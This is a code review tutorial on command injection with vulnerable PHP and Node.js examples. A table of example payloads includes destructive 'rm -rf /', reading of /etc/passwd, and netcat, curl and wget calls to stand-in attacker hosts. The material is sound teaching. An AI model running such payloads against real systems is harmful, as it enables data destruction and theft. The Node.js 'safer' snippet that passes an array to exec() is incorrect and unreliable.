Command Injection Code Review Guide
Table of Contents
Introduction
Command Injection is a critical security vulnerability that occurs when an application executes operating system commands with user-supplied input without proper validation or sanitization. This allows attackers to execute arbitrary commands on the host system, potentially leading to complete system compromise.
Unlike other injection attacks that target specific applications (like SQL injection for databases), command injection directly targets the operating system itself, making it one of the most dangerous types of vulnerabilities. A successful command injection attack can result in data theft, system destruction, or complete server takeover.
Command Injection Attack Flow
filename; rm -rf /
system() execution
Command execution
Data access/deletion
System control
Privilege escalation
Critical Impact
Command injection vulnerabilities often lead to complete system compromise because they allow attackers to execute arbitrary operating system commands with the privileges of the web application.
Real-World Scenario
Imagine you're reviewing a file download feature where users can specify a filename. The developer wants to compress the file before sending it to the user, so they use a system command to create a ZIP archive. Here's what the vulnerable code might look like:
Vulnerable PHP Code
1// Vulnerable PHP code
2$filename = $_GET['file'];
3$command = "zip archive.zip " . $filename;
4system($command); // DANGEROUS!
An attacker could exploit this by sending: ?file=test.txt; rm -rf /
This would result in the system executing: zip archive.zip test.txt; rm -rf /
What makes the above code snippet dangerous?
Understanding Command Injection
Command injection exploits occur when applications construct system commands using untrusted input. The vulnerability stems from the operating system command shell interpreting special characters that can be used to chain, redirect, or modify commands.
Shell Metacharacters Used in Attacks
Character | Purpose | Example Attack |
---|---|---|
; | Command separator | file.txt; rm -rf / |
| | Pipe output to another command | file.txt | nc attacker.com 1337 |
&& | Execute if previous succeeds | file.txt && cat /etc/passwd |
|| | Execute if previous fails | file.txt || rm -rf * |
`...` | Command substitution | `curl evil.com/shell.sh` |
$(...) | Command substitution | $(wget evil.com/backdoor) |
Operating System Context
Command injection attacks work differently on different operating systems. Unix/Linux systems use bash/sh shells, while Windows uses cmd.exe or PowerShell. Understanding the target shell is crucial for both attackers and defenders.
Finding Command Sinks
Command sinks are functions or methods that execute system commands. During code review, identifying these sinks is crucial because they represent the point where command injection can occur. Look for patterns where commands are constructed dynamically using user input.
Common Sink Patterns
1// Node.js examples
2const { exec } = require('child_process');
3
4// DANGEROUS: Direct string concatenation
5exec('ls -la ' + userInput);
6
7// DANGEROUS: Template literals
8exec(`convert ${filename} output.pdf`);
9
10// SAFER: Using arrays (but still risky with shell=true)
11exec(['convert', filename, 'output.pdf']);
Which of these JavaScript patterns is a command injection sink?